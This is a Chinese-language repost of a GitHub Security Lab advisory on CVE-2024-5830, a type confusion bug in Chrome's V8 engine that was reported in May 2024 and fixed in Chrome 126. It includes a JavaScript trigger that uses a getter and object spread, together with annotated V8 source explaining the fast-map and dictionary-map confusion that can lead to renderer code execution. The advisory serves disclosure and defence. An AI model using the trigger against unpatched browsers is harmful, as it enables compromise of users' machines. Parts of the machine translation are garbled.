协调披露时间表
-
2024-05-24:问题已报告给 Chromium 安全团队,编号为 342456991
-
2024-06-11:Chrome 版本126.0.6478.56/57中的问题已修复,编号为 CVE-2024-5830。
概括
TryFastAddDataProperty v8 中快速对象和字典对象之间的类型混淆
项目
Chromium
测试版本
M125
细节
TryFastAddDataProperty 中的类型混淆(GHSL-2024-095)
使用 克隆对象时FastAssign,如果源对象具有accessor,它将被调用以获取属性值,然后在 的调用中使用该属性值CreateDataProperty。恶意行为accessor可能会导致map目标的 被弃用:
var x = {};
x.a0 = 1;
var x1 = {};
x1.a0 = 1;
//Creates a transition from map {a0} to {a0, prop}
x1.prop = 1;
x.__defineGetter__("prop", function() {
let obj = {};
obj.a0 = 1.5; //<------ map of x and x1 are now deprecated
return 1;
});
x.z = 1;
delete x.z;
//Cloning calls accessor `prop` of x before calling `CreateDataProperty` to create property `prop` on target
var y = {...x};
CreateDataProperty然后使用TryFastAddDataProperty将属性 prop 添加到目标对象:
bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
Handle<Name> name, Handle<Object> value,
PropertyAttributes attributes) {
Tagged<Map> map =
TransitionsAccessor(isolate, object->map())
.SearchTransition(*name, PropertyKind::kData, attributes);
if (map.is_null()) return false;
...
new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
PropertyConstness::kConst, value);
...
object->WriteToField(descriptor,
new_map->instance_descriptors()->GetDetails(descriptor),
*value);
return true;
}
Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
InternalIndex descriptor,
PropertyConstness constness,
Handle<Object> value) {
// Update to the newest map before storing the property.
map = Update(isolate, map);
// Dictionaries can store any property value.
DCHECK(!map->is_dictionary_map());
return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
但是,正如bug 40062884所指出的那样,更新已弃用的映射可能会导致它成为字典映射。由于调用WriteToField仍然TryFastAddDataProperty假定new_map它是一个快速映射,它将用来FastPropertyAtPut写入属性:
void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
Tagged<Object> value) {
...
FieldIndex index = FieldIndex::ForDetails(map(), details);
if (details.representation().IsDouble()) {
...
} else {
FastPropertyAtPut(index, value);
}
}
当由于更新而 变成字典映射时,这将导致和new_map之间的类型混淆,并且可能导致 的内部属性被覆盖,然后可用于导致从 进行 OOB 访问。PropertyArrayNameDictionaryNameDictionaryNameDictionary
影响
该问题可导致 Chrome 渲染器沙箱中的 RCE
漏洞漏洞
CVE-2024-5830
信用
该问题由 GHSL 团队成员@my-mo (Man Yue Mo)发现并报告。
接触
您可以通过 联系 GHSL 团队[email protected],请在有关此问题的任何沟通中提及GHSL-2024-095。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):GHSL-2024-095:类型混淆导致 Chrome 渲染器沙箱中出现 RCE – CVE-2024-5830